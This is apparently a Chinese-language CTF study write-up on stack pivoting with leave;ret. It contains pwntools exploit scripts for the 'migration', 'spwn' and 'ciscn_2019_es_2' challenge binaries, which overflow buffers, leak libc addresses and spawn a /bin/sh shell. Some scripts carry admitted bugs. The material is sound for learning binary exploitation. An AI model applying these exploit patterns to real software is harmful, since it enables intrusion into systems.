对于栈迁移技术的学习

migration

栈迁移其实就是利用 leave ret
因为 leave ret 实际上就是

1
2
3
mov    esp  ebp
pop ebp //将栈中esp的值弹给ebp~
pop eip //一种清栈的行为,同时控制程序流~

简单来说,进行了两次的leave操作。(程序本身一次,你自己构造的一次)mov esp,ebp; pop ebp; mov esp,ebp; pop ebp。

第一次的leave操作将esp指向ebp基址,ebp指向栈中伪造的ebp处。

第二次的leave操作将esp指向伪造的ebp处(和汇编中开辟栈空间一样,ebp与esp先同时指向一个地方,然后填充(esp-4))最后的pop ebp会导致esp+4,所以我们需要构造的时候将数据放到esp+4的地方。

这是我手动进行的栈迁移,但是…不知道为什么,puts接收数据接收不到,望大佬指正

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = 'debug'
sh = process('./migration')
elf = ELF('./migration')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
leave_ret = 0x08048418

pop1_ret = 0x0804836d
pop3_ret = 0x08048569
#################### change stack space#####################
sh.recv()
payload = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
sh.sendline(payload)
sleep(0.1)
#################### leak libc address ########################
payload1 = p32(buf2) + p32(puts_plt) + p32(pop1_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)
sh.sendline(payload1)
puts_add = u32(sh.recv(4))
libc_base = puts_add - libc.symbols['puts']
print "libc base address-->[%s]"%hex(libc_base)
system_add = libc_base + libc.symbols['system']
print "system address -->[%s]"%hex(system_add)
###################### get shell ###########################
payload = p32(buf) + p32(read_plt) + p32(pop3_ret) + p32(0) + p32(buf) + p32(0x100) + p32(system_add) + 'bbbb' + p32(buf)
sh.sendline(payload)
sh.sendline('/bin/sh\x00')
sh.interactive()

ps:找到问题所在了,第一次需要send,sendline多了’\x0a’,好像就出现问题了

下面是利用rop模块进行的,这就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
#! -*- coding: utf-8 -*-
from pwn import *
import time

sh = process('./migration')
elf = ELF('migration')

read_plt = 0x8048380
puts_plt = 0x8048390
leave_ret = 0x08048418
pop_edx_ret = 0x0804836d
puts_got = 0x8049ff0
#buf = 0x0804b000-0x200
#buf2 = buf + 0x100
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])
sh.recvuntil(":")
sh.send(payload)
sleep(0.1)

rop = flat([buf2,puts_plt,pop_edx_ret,puts_got,read_plt,leave_ret,0,buf2,100])

sh.sendline(rop)
sh.recvuntil("\n")
puts_off = 0x5fca0
libc = u32(r.recv(4)) - puts_off
print "libc:",hex(libc)
sleep(0.1)
system_off = 0x3ada0
system = libc + system_off
rop2 = flat([buf,system,0,buf2+16,"/bin/sh"])
sh.sendline(rop2)
sh.interactive()

spwn

这题,怎么说呢,学艺不精,在最后进行read读入的时候,我忘记加上leave_ret,将程序流劫持到read(addr)地方了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'

sh = process('./spwn')
elf = ELF('./spwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

leave_ret = 0x08048408
pop1_ret = 0x080485ab
pop3_ret = 0x080485a9
buf = elf.bss()+0x500
buf2 = elf.bss()+0x400
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
shellcode = 0x0804A300

sh.recvuntil('?')
payload = p32(0x0804A380)
payload += p32(elf.plt['write'])
payload += p32(leave_ret)
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)

payload += 'a'*(0x80 - 0x18)

payload += p32(0x0804A400)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(0x0804A400)
payload += p32(20)
sh.sendline(payload)
sh.recvuntil('?')
payload = 'a'*0x18 + p32(shellcode) + p32(leave_ret)
sh.send(payload)
sleep(0.5)
write_addr= u32(sh.recv(4))
log.success("write :"+hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success("libc_base :"+hex(libc_base))
log.success("system :"+hex(system_addr))
log.success("binsh :"+hex(binsh_addr))

payload = p32(0xdeadbeef) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

ciscn_2019_es_2

emmmmm,认真记录一次栈迁移,做了这题,发现对于栈迁移技术了解的还是不够透彻,故此详细记录两种打法。

先提出一点,不知道为什么,leak的ebp地址和调试过程中在栈空间覆盖ebp的地址差了0x10,也就是leak_ebp_addr - 0x10 = 栈空间ebp_addr

第一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
sh =process('./ciscn_2019_es_2')

sys_plt=0x8048400

payload = 'a'*0x20 + 'b'*0x08
sh.send(payload)
sh.recvuntil('b'*8)
ebp = u32(sh.recv(4)) //这里因为发现memset函数只清理了栈空间0x20的空间,观察到ebp还在!
print (hex(ebp))

gdb.attach(sh)

payload = ('a'*8+p32(ebp-0x24)+'bbbb'+p32(sys_plt)+'cccc' + p32(ebp-0x1c)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x2c)
//此处将ebp覆盖为ebp-0x2c(pwndbg调试的),将栈移动到了bbbb前面,此时的ebp就是bbbb,那么ret就是sys_plt。然后参数就是p32(ebp-0x1c)指向的字符串,即/bin/sh。(至于为什么不直接在'cccc'的后面直接写入'/bin/sh\x00',我想了想,这是32位,嗨,4字节的参数,8字节的binsh不行,转为指针就没问题了。
sh.send(payload)
#gdb.attach(sh)
sh.interactive()

第二种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

sh = process('./ciscn_2019_es_2')
elf = ELF('./ciscn_2019_es_2')

payload = 'a'*0x20 + 'b'*0x08
sh.send(payload)
sh.recvuntil('b'*8)
ebp = u32(sh.recv(4)) //leak思路一样
print(hex(ebp))

addr = ebp-0x38 //这里就直接按我们gdb里所调试到的,真实偏移为0x38,直接到变量输入处。
payload = 'a'*4+p32(elf.plt['system'])+'aaaa'+p32(addr+0x10)
payload+= '/bin/sh\x00'+'a'*0x10+p32(addr)+p32(0x80485fd)
//那么此处就是'aaaa'为ebp,ret还是'system'
p.send(payload)